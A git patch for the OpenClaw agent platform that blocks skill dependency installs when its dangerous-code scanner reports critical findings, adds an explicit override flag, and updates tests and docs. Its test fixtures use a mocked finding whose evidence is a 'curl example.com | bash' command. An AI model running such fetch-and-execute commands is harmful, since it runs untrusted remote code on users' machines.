From 0d7f1e2c84eca65df7dee890d9c30e2a841c030a Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Tue, 31 Mar 2026 23:27:10 +0900 Subject: [PATCH] feat(security): fail closed on dangerous skill installs --- CHANGELOG.md | 1 + .../Sources/OpenClaw/GatewayConnection.swift | 4 + docs/automation/hooks.md | 5 + docs/cli/plugins.md | 5 + docs/cli/skills.md | 4 + docs/gateway/security/index.md | 1 + docs/platforms/mac/skills.md | 1 + docs/tools/plugin.md | 5 + docs/tools/skills.md | 2 + src/agents/skills-install.test.ts | 85 ++++++++++++- src/agents/skills-install.ts | 57 ++++++++- src/cli/plugins-install-command.ts | 4 +- .../protocol/schema/agents-models-skills.ts | 1 + .../server-methods/skills.clawhub.test.ts | 52 ++++++++ src/gateway/server-methods/skills.ts | 2 + src/plugins/clawhub.ts | 22 ++-- src/plugins/install-security-scan.runtime.ts | 118 ++++++++++-------- src/plugins/install-security-scan.ts | 69 +++++----- src/plugins/install.ts | 29 ++--- src/plugins/marketplace.ts | 22 ++-- ui/src/ui/controllers/skills.ts | 2 + 21 files changed, 362 insertions(+), 129 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 05f050bfa45..6d6359b2fc1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,7 @@ Docs: https://docs.openclaw.ai - Agents/MCP: materialize bundle MCP tools with provider-safe names (`serverName__toolName`), support optional `streamable-http` transport selection plus per-server connection timeouts, and preserve real tool results from aborted/error turns unless truncation explicitly drops them. (#49505) Thanks @ziomancer. - Plugins/hooks: add a `before_install` hook with structured request provenance, built-in scan status, and install-target metadata so external security scanners and policy engines can review and block skill, plugin package, plugin bundle, and single-file plugin installs. (#56050) thanks @odysseus0. - Plugins/install: add `--dangerously-force-unsafe-install` as a break-glass override for built-in dangerous-code install false positives while still keeping plugin `before_install` policy blocks and scan-failure blocking intact. +- Skills/install: block gateway-backed skill dependency installs on built-in dangerous-code `critical` findings unless the caller explicitly sets the matching dangerous override, while keeping suspicious findings warn-only and preserving `before_install` hook blocks. - ACP/plugins: add an explicit default-off ACPX plugin-tools MCP bridge config, document the trust boundary, and harden the built-in bridge packaging/logging path so global installs and stdio MCP sessions work reliably. (#56867) Thanks @joe2643. - Agents/LLM: add a configurable idle-stream timeout for embedded runner requests so stalled model streams abort cleanly instead of hanging until the broader run timeout fires. (#55072) Thanks @liuy. - OpenAI/Responses: forward configured `text.verbosity` across Responses HTTP and WebSocket transports, surface it in `/status`, and keep per-agent verbosity precedence aligned with runtime behavior. (#47106) Thanks @merc1305 and @vincentkoc. diff --git a/apps/macos/Sources/OpenClaw/GatewayConnection.swift b/apps/macos/Sources/OpenClaw/GatewayConnection.swift index 3075ef12b92..964eb99fc59 100644 --- a/apps/macos/Sources/OpenClaw/GatewayConnection.swift +++ b/apps/macos/Sources/OpenClaw/GatewayConnection.swift @@ -558,12 +558,16 @@ extension GatewayConnection { func skillsInstall( name: String, installId: String, + dangerouslyForceUnsafeInstall: Bool? = nil, timeoutMs: Int? = nil) async throws -> SkillInstallResult { var params: [String: AnyCodable] = [ "name": AnyCodable(name), "installId": AnyCodable(installId), ] + if let dangerouslyForceUnsafeInstall { + params["dangerouslyForceUnsafeInstall"] = AnyCodable(dangerouslyForceUnsafeInstall) + } if let timeoutMs { params["timeoutMs"] = AnyCodable(timeoutMs) } diff --git a/docs/automation/hooks.md b/docs/automation/hooks.md index bbb3abe30e0..e9af1a6f11a 100644 --- a/docs/automation/hooks.md +++ b/docs/automation/hooks.md @@ -525,6 +525,11 @@ If the gateway is unavailable or does not support plugin approvals, the tool cal Runs after the built-in install security scan and before installation continues. OpenClaw fires this hook for interactive skill installs as well as plugin bundle, package, and single-file installs. +Default behavior differs by target type: + +- Plugin installs fail closed on built-in scan `critical` findings and scan errors unless the operator explicitly uses `openclaw plugins install --dangerously-force-unsafe-install`. +- Skill installs still surface built-in scan findings and scan errors as warnings and continue by default. + Return fields: - **`findings`**: Additional scan findings to surface as warnings diff --git a/docs/cli/plugins.md b/docs/cli/plugins.md index 2da70c00e2b..ef004a68f24 100644 --- a/docs/cli/plugins.md +++ b/docs/cli/plugins.md @@ -64,6 +64,11 @@ when the built-in scanner reports `critical` findings, but it does **not** bypass plugin `before_install` hook policy blocks and does **not** bypass scan failures. +This CLI flag applies to `openclaw plugins install`. Gateway-backed skill +dependency installs use the matching `dangerouslyForceUnsafeInstall` request +override, while `openclaw skills install` remains a separate ClawHub skill +download/install flow. + `plugins install` is also the install surface for hook packs that expose `openclaw.hooks` in `package.json`. Use `openclaw hooks` for filtered hook visibility and per-hook enablement, not package installation. diff --git a/docs/cli/skills.md b/docs/cli/skills.md index 073eb891af9..bbe45c22ac7 100644 --- a/docs/cli/skills.md +++ b/docs/cli/skills.md @@ -34,3 +34,7 @@ openclaw skills check `search`/`install`/`update` use ClawHub directly and install into the active workspace `skills/` directory. `list`/`info`/`check` still inspect the local skills visible to the current workspace and config. + +This CLI `install` command downloads skill folders from ClawHub. Gateway-backed +skill dependency installs triggered from onboarding or Skills settings use the +separate `skills.install` request path instead. diff --git a/docs/gateway/security/index.md b/docs/gateway/security/index.md index b2de68c1dd3..f70ff0f1236 100644 --- a/docs/gateway/security/index.md +++ b/docs/gateway/security/index.md @@ -451,6 +451,7 @@ Plugins run **in-process** with the Gateway. Treat them as trusted code: - OpenClaw uses `npm pack` and then runs `npm install --omit=dev` in that directory (npm lifecycle scripts can execute code during install). - Prefer pinned, exact versions (`@scope/pkg@1.2.3`), and inspect the unpacked code on disk before enabling. - `--dangerously-force-unsafe-install` is break-glass only for built-in scan false positives. It does not bypass plugin `before_install` hook policy blocks and does not bypass scan failures. + - Gateway-backed skill dependency installs follow the same dangerous/suspicious split: built-in `critical` findings block unless the caller explicitly sets `dangerouslyForceUnsafeInstall`, while suspicious findings still warn only. `openclaw skills install` remains the separate ClawHub skill download/install flow. Details: [Plugins](/tools/plugin) diff --git a/docs/platforms/mac/skills.md b/docs/platforms/mac/skills.md index 2c2b5d95924..323f322818a 100644 --- a/docs/platforms/mac/skills.md +++ b/docs/platforms/mac/skills.md @@ -20,6 +20,7 @@ The macOS app surfaces OpenClaw skills via the gateway; it does not parse skills - `metadata.openclaw.install` defines install options (brew/node/go/uv). - The app calls `skills.install` to run installers on the gateway host. +- Built-in dangerous-code `critical` findings block `skills.install` by default; suspicious findings still warn only. The dangerous override exists on the gateway request, but the default app flow stays fail-closed. - The gateway surfaces only one preferred installer when multiple are provided (brew when available, otherwise node manager from `skills.install`, default npm). diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index 1c99e3e6957..9f39c7e929a 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -224,6 +224,11 @@ positives from the built-in dangerous-code scanner. It allows installs to continue past built-in `critical` findings, but it still does not bypass plugin `before_install` policy blocks or scan-failure blocking. +This CLI flag applies to plugin installs only. Gateway-backed skill dependency +installs use the matching `dangerouslyForceUnsafeInstall` request override +instead, while `openclaw skills install` remains the separate ClawHub skill +download/install flow. + See [`openclaw plugins` CLI reference](/cli/plugins) for full details. ## Plugin API overview diff --git a/docs/tools/skills.md b/docs/tools/skills.md index d7da5190b4b..c2fa3e24918 100644 --- a/docs/tools/skills.md +++ b/docs/tools/skills.md @@ -81,6 +81,8 @@ OpenClaw picks that up as `/skills` on the next session. - Treat third-party skills as **untrusted code**. Read them before enabling. - Prefer sandboxed runs for untrusted inputs and risky tools. See [Sandboxing](/gateway/sandboxing). - Workspace and extra-dir skill discovery only accepts skill roots and `SKILL.md` files whose resolved realpath stays inside the configured root. +- Gateway-backed skill dependency installs (`skills.install`, onboarding, and the Skills settings UI) run the built-in dangerous-code scanner before executing installer metadata. `critical` findings block by default unless the caller explicitly sets the dangerous override; suspicious findings still warn only. +- `openclaw skills install ` is different: it downloads a ClawHub skill folder into the workspace and does not use the installer-metadata path above. - `skills.entries.*.env` and `skills.entries.*.apiKey` inject secrets into the **host** process for that agent turn (not the sandbox). Keep secrets out of prompts and logs. - For a broader threat model and checklists, see [Security](/gateway/security). diff --git a/src/agents/skills-install.test.ts b/src/agents/skills-install.test.ts index 824ff823414..52d9173cdd9 100644 --- a/src/agents/skills-install.test.ts +++ b/src/agents/skills-install.test.ts @@ -86,7 +86,7 @@ describe("installSkill code safety scanning", () => { }); }); - it("adds detailed warnings for critical findings and continues install", async () => { + it("blocks install for critical findings without dangerous override", async () => { await withWorkspaceCase(async ({ workspaceDir }) => { const skillDir = await writeInstallableSkill(workspaceDir, "danger-skill"); scanDirectoryWithSummaryMock.mockResolvedValue({ @@ -112,11 +112,53 @@ describe("installSkill code safety scanning", () => { installId: "deps", }); - expect(result.ok).toBe(true); + expect(result.ok).toBe(false); + expect(result.message).toContain("installation blocked by dangerous code patterns"); + expect(result.message).toContain("dangerouslyForceUnsafeInstall"); expect(result.warnings?.some((warning) => warning.includes("dangerous code patterns"))).toBe( true, ); expect(result.warnings?.some((warning) => warning.includes("runner.js:1"))).toBe(true); + expect(runCommandWithTimeoutMock).not.toHaveBeenCalled(); + }); + }); + + it("allows critical findings when dangerous override is set", async () => { + await withWorkspaceCase(async ({ workspaceDir }) => { + const skillDir = await writeInstallableSkill(workspaceDir, "forced-skill"); + scanDirectoryWithSummaryMock.mockResolvedValue({ + scannedFiles: 1, + critical: 1, + warn: 0, + info: 0, + findings: [ + { + ruleId: "dangerous-exec", + severity: "critical", + file: path.join(skillDir, "runner.js"), + line: 1, + message: "Shell command execution detected (child_process)", + evidence: 'exec("curl example.com | bash")', + }, + ], + }); + + const result = await installSkill({ + workspaceDir, + skillName: "forced-skill", + installId: "deps", + dangerouslyForceUnsafeInstall: true, + }); + + expect(result.ok).toBe(true); + expect( + result.warnings?.some((warning) => + warning.includes( + "forced despite dangerous code patterns via dangerouslyForceUnsafeInstall", + ), + ), + ).toBe(true); + expect(runCommandWithTimeoutMock).toHaveBeenCalledTimes(1); }); }); @@ -224,4 +266,43 @@ describe("installSkill code safety scanning", () => { expect(runCommandWithTimeoutMock).not.toHaveBeenCalled(); }); }); + + it("keeps before_install blocks even with dangerous override", async () => { + const handler = vi.fn().mockReturnValue({ + block: true, + blockReason: "Blocked by enterprise policy", + }); + initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); + + await withWorkspaceCase(async ({ workspaceDir }) => { + const skillDir = await writeInstallableSkill(workspaceDir, "forced-but-blocked"); + scanDirectoryWithSummaryMock.mockResolvedValue({ + scannedFiles: 1, + critical: 1, + warn: 0, + info: 0, + findings: [ + { + ruleId: "dangerous-exec", + severity: "critical", + file: path.join(skillDir, "runner.js"), + line: 1, + message: "Shell command execution detected (child_process)", + evidence: 'exec("curl example.com | bash")', + }, + ], + }); + + const result = await installSkill({ + workspaceDir, + skillName: "forced-but-blocked", + installId: "deps", + dangerouslyForceUnsafeInstall: true, + }); + + expect(result.ok).toBe(false); + expect(result.message).toBe("Blocked by enterprise policy"); + expect(runCommandWithTimeoutMock).not.toHaveBeenCalled(); + }); + }); }); diff --git a/src/agents/skills-install.ts b/src/agents/skills-install.ts index b5db83c89d1..2aa8b0c8c60 100644 --- a/src/agents/skills-install.ts +++ b/src/agents/skills-install.ts @@ -4,6 +4,7 @@ import type { OpenClawConfig } from "../config/config.js"; import { resolveBrewExecutable } from "../infra/brew.js"; import { getGlobalHookRunner } from "../plugins/hook-runner-global.js"; import { createBeforeInstallHookPayload } from "../plugins/install-policy-context.js"; +import type { InstallSafetyOverrides } from "../plugins/install-security-scan.js"; import { runCommandWithTimeout, type CommandOptions } from "../process/exec.js"; import { scanDirectoryWithSummary } from "../security/skill-scanner.js"; import { resolveUserPath } from "../utils.js"; @@ -19,7 +20,7 @@ import { } from "./skills.js"; import { resolveSkillSource } from "./skills/source.js"; -export type SkillInstallRequest = { +export type SkillInstallRequest = InstallSafetyOverrides & { workspaceDir: string; skillName: string; installId: string; @@ -81,6 +82,13 @@ type SkillScanResult = { builtinScan: SkillBuiltinScan; }; +function buildCriticalFindingDetails(rootDir: string, findings: SkillScanFinding[]): string { + return findings + .filter((finding) => finding.severity === "critical") + .map((finding) => formatScanFindingDetail(rootDir, finding)) + .join("; "); +} + async function collectSkillInstallScanWarnings(entry: SkillEntry): Promise { const warnings: string[] = []; const skillName = entry.skill.name; @@ -97,10 +105,7 @@ async function collectSkillInstallScanWarnings(entry: SkillEntry): Promise 0) { - const criticalDetails = summary.findings - .filter((finding) => finding.severity === "critical") - .map((finding) => formatScanFindingDetail(skillDir, finding)) - .join("; "); + const criticalDetails = buildCriticalFindingDetails(skillDir, summary.findings); warnings.push( `WARNING: Skill "${skillName}" contains dangerous code patterns: ${criticalDetails}`, ); @@ -129,6 +134,37 @@ async function collectSkillInstallScanWarnings(entry: SkillEntry): Promise ({})); const resolveDefaultAgentIdMock = vi.fn(() => "main"); const resolveAgentWorkspaceDirMock = vi.fn(() => "/tmp/workspace"); const installSkillFromClawHubMock = vi.fn(); +const installSkillMock = vi.fn(); const updateSkillsFromClawHubMock = vi.fn(); vi.mock("../../config/config.js", () => ({ @@ -22,6 +23,10 @@ vi.mock("../../agents/skills-clawhub.js", () => ({ updateSkillsFromClawHub: (...args: unknown[]) => updateSkillsFromClawHubMock(...args), })); +vi.mock("../../agents/skills-install.js", () => ({ + installSkill: (...args: unknown[]) => installSkillMock(...args), +})); + const { skillsHandlers } = await import("./skills.js"); describe("skills gateway handlers (clawhub)", () => { @@ -30,6 +35,7 @@ describe("skills gateway handlers (clawhub)", () => { resolveDefaultAgentIdMock.mockReset(); resolveAgentWorkspaceDirMock.mockReset(); installSkillFromClawHubMock.mockReset(); + installSkillMock.mockReset(); updateSkillsFromClawHubMock.mockReset(); loadConfigMock.mockReturnValue({}); @@ -81,6 +87,52 @@ describe("skills gateway handlers (clawhub)", () => { }); }); + it("forwards dangerous override for local skill installs", async () => { + installSkillMock.mockResolvedValue({ + ok: true, + message: "Installed", + stdout: "", + stderr: "", + code: 0, + }); + + let ok: boolean | null = null; + let response: unknown; + let error: unknown; + await skillsHandlers["skills.install"]({ + params: { + name: "calendar", + installId: "deps", + dangerouslyForceUnsafeInstall: true, + timeoutMs: 120_000, + }, + req: {} as never, + client: null as never, + isWebchatConnect: () => false, + context: {} as never, + respond: (success, result, err) => { + ok = success; + response = result; + error = err; + }, + }); + + expect(installSkillMock).toHaveBeenCalledWith({ + workspaceDir: "/tmp/workspace", + skillName: "calendar", + installId: "deps", + dangerouslyForceUnsafeInstall: true, + timeoutMs: 120_000, + config: {}, + }); + expect(ok).toBe(true); + expect(error).toBeUndefined(); + expect(response).toMatchObject({ + ok: true, + message: "Installed", + }); + }); + it("updates ClawHub skills through skills.update", async () => { updateSkillsFromClawHubMock.mockResolvedValue([ { diff --git a/src/gateway/server-methods/skills.ts b/src/gateway/server-methods/skills.ts index d083c67b0b8..d82dbe43eca 100644 --- a/src/gateway/server-methods/skills.ts +++ b/src/gateway/server-methods/skills.ts @@ -160,12 +160,14 @@ export const skillsHandlers: GatewayRequestHandlers = { const p = params as { name: string; installId: string; + dangerouslyForceUnsafeInstall?: boolean; timeoutMs?: number; }; const result = await installSkill({ workspaceDir: workspaceDirRaw, skillName: p.name, installId: p.installId, + dangerouslyForceUnsafeInstall: p.dangerouslyForceUnsafeInstall, timeoutMs: p.timeoutMs, config: cfg, }); diff --git a/src/plugins/clawhub.ts b/src/plugins/clawhub.ts index 8e8df055fdb..d03e69d5341 100644 --- a/src/plugins/clawhub.ts +++ b/src/plugins/clawhub.ts @@ -13,6 +13,7 @@ import { type ClawHubPackageFamily, } from "../infra/clawhub.js"; import { resolveCompatibilityHostVersion } from "../version.js"; +import type { InstallSafetyOverrides } from "./install-security-scan.js"; import { installPluginFromArchive, type InstallPluginResult } from "./install.js"; export const CLAWHUB_INSTALL_ERROR_CODE = { @@ -223,16 +224,17 @@ function logClawHubPackageSummary(params: { } } -export async function installPluginFromClawHub(params: { - dangerouslyForceUnsafeInstall?: boolean; - spec: string; - baseUrl?: string; - token?: string; - logger?: PluginInstallLogger; - mode?: "install" | "update"; - dryRun?: boolean; - expectedPluginId?: string; -}): Promise< +export async function installPluginFromClawHub( + params: InstallSafetyOverrides & { + spec: string; + baseUrl?: string; + token?: string; + logger?: PluginInstallLogger; + mode?: "install" | "update"; + dryRun?: boolean; + expectedPluginId?: string; + }, +): Promise< | ({ ok: true; } & Extract & { diff --git a/src/plugins/install-security-scan.runtime.ts b/src/plugins/install-security-scan.runtime.ts index 73f549bdabc..421eb25f44a 100644 --- a/src/plugins/install-security-scan.runtime.ts +++ b/src/plugins/install-security-scan.runtime.ts @@ -3,6 +3,7 @@ import { extensionUsesSkippedScannerPath, isPathInside } from "../security/scan- import { scanDirectoryWithSummary } from "../security/skill-scanner.js"; import { getGlobalHookRunner } from "./hook-runner-global.js"; import { createBeforeInstallHookPayload } from "./install-policy-context.js"; +import type { InstallSafetyOverrides } from "./install-security-scan.js"; type InstallScanLogger = { warn?: (message: string) => void; @@ -162,6 +163,28 @@ function logDangerousForceUnsafeInstall(params: { ); } +function resolveBuiltinScanDecision( + params: InstallSafetyOverrides & { + builtinScan: BuiltinInstallScan; + logger: InstallScanLogger; + targetLabel: string; + }, +): InstallSecurityScanResult | undefined { + const builtinBlocked = buildBlockedScanResult({ + builtinScan: params.builtinScan, + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + targetLabel: params.targetLabel, + }); + if (params.dangerouslyForceUnsafeInstall && params.builtinScan.critical > 0) { + logDangerousForceUnsafeInstall({ + findings: params.builtinScan.findings, + logger: params.logger, + targetLabel: params.targetLabel, + }); + } + return builtinBlocked; +} + async function scanFileTarget(params: { logger: InstallScanLogger; path: string; @@ -262,16 +285,17 @@ async function runBeforeInstallHook(params: { return undefined; } -export async function scanBundleInstallSourceRuntime(params: { - dangerouslyForceUnsafeInstall?: boolean; - logger: InstallScanLogger; - pluginId: string; - sourceDir: string; - requestKind?: PluginInstallRequestKind; - requestedSpecifier?: string; - mode?: "install" | "update"; - version?: string; -}): Promise { +export async function scanBundleInstallSourceRuntime( + params: InstallSafetyOverrides & { + logger: InstallScanLogger; + pluginId: string; + sourceDir: string; + requestKind?: PluginInstallRequestKind; + requestedSpecifier?: string; + mode?: "install" | "update"; + version?: string; + }, +): Promise { const builtinScan = await scanDirectoryTarget({ logger: params.logger, path: params.sourceDir, @@ -279,18 +303,12 @@ export async function scanBundleInstallSourceRuntime(params: { targetName: params.pluginId, warningMessage: `WARNING: Bundle "${params.pluginId}" contains dangerous code patterns`, }); - const builtinBlocked = buildBlockedScanResult({ + const builtinBlocked = resolveBuiltinScanDecision({ builtinScan, + logger: params.logger, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, targetLabel: `Bundle "${params.pluginId}" installation`, }); - if (params.dangerouslyForceUnsafeInstall && builtinScan.critical > 0) { - logDangerousForceUnsafeInstall({ - findings: builtinScan.findings, - logger: params.logger, - targetLabel: `Bundle "${params.pluginId}" installation`, - }); - } const hookResult = await runBeforeInstallHook({ logger: params.logger, @@ -314,19 +332,20 @@ export async function scanBundleInstallSourceRuntime(params: { return hookResult?.blocked ? hookResult : builtinBlocked; } -export async function scanPackageInstallSourceRuntime(params: { - dangerouslyForceUnsafeInstall?: boolean; - extensions: string[]; - logger: InstallScanLogger; - packageDir: string; - pluginId: string; - requestKind?: PluginInstallRequestKind; - requestedSpecifier?: string; - mode?: "install" | "update"; - packageName?: string; - manifestId?: string; - version?: string; -}): Promise { +export async function scanPackageInstallSourceRuntime( + params: InstallSafetyOverrides & { + extensions: string[]; + logger: InstallScanLogger; + packageDir: string; + pluginId: string; + requestKind?: PluginInstallRequestKind; + requestedSpecifier?: string; + mode?: "install" | "update"; + packageName?: string; + manifestId?: string; + version?: string; + }, +): Promise { const forcedScanEntries: string[] = []; for (const entry of params.extensions) { const resolvedEntry = path.resolve(params.packageDir, entry); @@ -352,18 +371,12 @@ export async function scanPackageInstallSourceRuntime(params: { targetName: params.pluginId, warningMessage: `WARNING: Plugin "${params.pluginId}" contains dangerous code patterns`, }); - const builtinBlocked = buildBlockedScanResult({ + const builtinBlocked = resolveBuiltinScanDecision({ builtinScan, + logger: params.logger, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, targetLabel: `Plugin "${params.pluginId}" installation`, }); - if (params.dangerouslyForceUnsafeInstall && builtinScan.critical > 0) { - logDangerousForceUnsafeInstall({ - findings: builtinScan.findings, - logger: params.logger, - targetLabel: `Plugin "${params.pluginId}" installation`, - }); - } const hookResult = await runBeforeInstallHook({ logger: params.logger, @@ -389,14 +402,15 @@ export async function scanPackageInstallSourceRuntime(params: { return hookResult?.blocked ? hookResult : builtinBlocked; } -export async function scanFileInstallSourceRuntime(params: { - dangerouslyForceUnsafeInstall?: boolean; - filePath: string; - logger: InstallScanLogger; - mode?: "install" | "update"; - pluginId: string; - requestedSpecifier?: string; -}): Promise { +export async function scanFileInstallSourceRuntime( + params: InstallSafetyOverrides & { + filePath: string; + logger: InstallScanLogger; + mode?: "install" | "update"; + pluginId: string; + requestedSpecifier?: string; + }, +): Promise { const builtinScan = await scanFileTarget({ logger: params.logger, path: params.filePath, @@ -404,18 +418,12 @@ export async function scanFileInstallSourceRuntime(params: { targetName: params.pluginId, warningMessage: `WARNING: Plugin file "${params.pluginId}" contains dangerous code patterns`, }); - const builtinBlocked = buildBlockedScanResult({ + const builtinBlocked = resolveBuiltinScanDecision({ builtinScan, + logger: params.logger, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, targetLabel: `Plugin file "${params.pluginId}" installation`, }); - if (params.dangerouslyForceUnsafeInstall && builtinScan.critical > 0) { - logDangerousForceUnsafeInstall({ - findings: builtinScan.findings, - logger: params.logger, - targetLabel: `Plugin file "${params.pluginId}" installation`, - }); - } const hookResult = await runBeforeInstallHook({ logger: params.logger, diff --git a/src/plugins/install-security-scan.ts b/src/plugins/install-security-scan.ts index c9d5b84048c..9446d74a436 100644 --- a/src/plugins/install-security-scan.ts +++ b/src/plugins/install-security-scan.ts @@ -2,6 +2,10 @@ type InstallScanLogger = { warn?: (message: string) => void; }; +export type InstallSafetyOverrides = { + dangerouslyForceUnsafeInstall?: boolean; +}; + export type InstallSecurityScanResult = { blocked?: { code?: "security_scan_blocked" | "security_scan_failed"; @@ -19,45 +23,48 @@ async function loadInstallSecurityScanRuntime() { return await import("./install-security-scan.runtime.js"); } -export async function scanBundleInstallSource(params: { - dangerouslyForceUnsafeInstall?: boolean; - logger: InstallScanLogger; - pluginId: string; - sourceDir: string; - requestKind?: PluginInstallRequestKind; - requestedSpecifier?: string; - mode?: "install" | "update"; - version?: string; -}): Promise { +export async function scanBundleInstallSource( + params: InstallSafetyOverrides & { + logger: InstallScanLogger; + pluginId: string; + sourceDir: string; + requestKind?: PluginInstallRequestKind; + requestedSpecifier?: string; + mode?: "install" | "update"; + version?: string; + }, +): Promise { const { scanBundleInstallSourceRuntime } = await loadInstallSecurityScanRuntime(); return await scanBundleInstallSourceRuntime(params); } -export async function scanPackageInstallSource(params: { - dangerouslyForceUnsafeInstall?: boolean; - extensions: string[]; - logger: InstallScanLogger; - packageDir: string; - pluginId: string; - requestKind?: PluginInstallRequestKind; - requestedSpecifier?: string; - mode?: "install" | "update"; - packageName?: string; - manifestId?: string; - version?: string; -}): Promise { +export async function scanPackageInstallSource( + params: InstallSafetyOverrides & { + extensions: string[]; + logger: InstallScanLogger; + packageDir: string; + pluginId: string; + requestKind?: PluginInstallRequestKind; + requestedSpecifier?: string; + mode?: "install" | "update"; + packageName?: string; + manifestId?: string; + version?: string; + }, +): Promise { const { scanPackageInstallSourceRuntime } = await loadInstallSecurityScanRuntime(); return await scanPackageInstallSourceRuntime(params); } -export async function scanFileInstallSource(params: { - dangerouslyForceUnsafeInstall?: boolean; - filePath: string; - logger: InstallScanLogger; - mode?: "install" | "update"; - pluginId: string; - requestedSpecifier?: string; -}): Promise { +export async function scanFileInstallSource( + params: InstallSafetyOverrides & { + filePath: string; + logger: InstallScanLogger; + mode?: "install" | "update"; + pluginId: string; + requestedSpecifier?: string; + }, +): Promise { const { scanFileInstallSourceRuntime } = await loadInstallSecurityScanRuntime(); return await scanFileInstallSourceRuntime(params); } diff --git a/src/plugins/install.ts b/src/plugins/install.ts index e57580f2195..4ed15d7e27e 100644 --- a/src/plugins/install.ts +++ b/src/plugins/install.ts @@ -10,6 +10,7 @@ import { import { type NpmIntegrityDrift, type NpmSpecResolution } from "../infra/install-source-utils.js"; import { CONFIG_DIR, resolveUserPath } from "../utils.js"; import type { InstallSecurityScanResult } from "./install-security-scan.js"; +import type { InstallSafetyOverrides } from "./install-security-scan.js"; import { resolvePackageExtensionEntries, type PackageManifest as PluginPackageManifest, @@ -230,8 +231,7 @@ function buildBlockedInstallResult(params: { }; } -type PackageInstallCommonParams = { - dangerouslyForceUnsafeInstall?: boolean; +type PackageInstallCommonParams = InstallSafetyOverrides & { extensionsDir?: string; timeoutMs?: number; logger?: PluginInstallLogger; @@ -794,18 +794,19 @@ export async function installPluginFromFile(params: { return buildFileInstallResult(pluginId, targetFile); } -export async function installPluginFromNpmSpec(params: { - dangerouslyForceUnsafeInstall?: boolean; - spec: string; - extensionsDir?: string; - timeoutMs?: number; - logger?: PluginInstallLogger; - mode?: "install" | "update"; - dryRun?: boolean; - expectedPluginId?: string; - expectedIntegrity?: string; - onIntegrityDrift?: (params: PluginNpmIntegrityDriftParams) => boolean | Promise; -}): Promise { +export async function installPluginFromNpmSpec( + params: InstallSafetyOverrides & { + spec: string; + extensionsDir?: string; + timeoutMs?: number; + logger?: PluginInstallLogger; + mode?: "install" | "update"; + dryRun?: boolean; + expectedPluginId?: string; + expectedIntegrity?: string; + onIntegrityDrift?: (params: PluginNpmIntegrityDriftParams) => boolean | Promise; + }, +): Promise { const runtime = await loadPluginInstallRuntime(); const { logger, timeoutMs, mode, dryRun } = runtime.resolveTimedInstallModeOptions( params, diff --git a/src/plugins/marketplace.ts b/src/plugins/marketplace.ts index 52e0154cb24..ad68395058a 100644 --- a/src/plugins/marketplace.ts +++ b/src/plugins/marketplace.ts @@ -9,6 +9,7 @@ import { runCommandWithTimeout } from "../process/exec.js"; import { redactSensitiveUrlLikeString } from "../shared/net/redact-sensitive-url.js"; import { sanitizeForLog } from "../terminal/ansi.js"; import { resolveUserPath } from "../utils.js"; +import type { InstallSafetyOverrides } from "./install-security-scan.js"; import { installPluginFromPath, type InstallPluginResult } from "./install.js"; const DEFAULT_GIT_TIMEOUT_MS = 120_000; @@ -1030,16 +1031,17 @@ export async function resolveMarketplaceInstallShortcut( }; } -export async function installPluginFromMarketplace(params: { - dangerouslyForceUnsafeInstall?: boolean; - marketplace: string; - plugin: string; - logger?: MarketplaceLogger; - timeoutMs?: number; - mode?: "install" | "update"; - dryRun?: boolean; - expectedPluginId?: string; -}): Promise { +export async function installPluginFromMarketplace( + params: InstallSafetyOverrides & { + marketplace: string; + plugin: string; + logger?: MarketplaceLogger; + timeoutMs?: number; + mode?: "install" | "update"; + dryRun?: boolean; + expectedPluginId?: string; + }, +): Promise { const loaded = await loadMarketplace({ source: params.marketplace, logger: params.logger, diff --git a/ui/src/ui/controllers/skills.ts b/ui/src/ui/controllers/skills.ts index 37b7d2c63a1..4c6d5079d10 100644 --- a/ui/src/ui/controllers/skills.ts +++ b/ui/src/ui/controllers/skills.ts @@ -127,6 +127,7 @@ export async function installSkill( skillKey: string, name: string, installId: string, + dangerouslyForceUnsafeInstall = false, ) { if (!state.client || !state.connected) { return; @@ -137,6 +138,7 @@ export async function installSkill( const result = await state.client.request<{ message?: string }>("skills.install", { name, installId, + dangerouslyForceUnsafeInstall, timeoutMs: 120000, }); await loadSkills(state);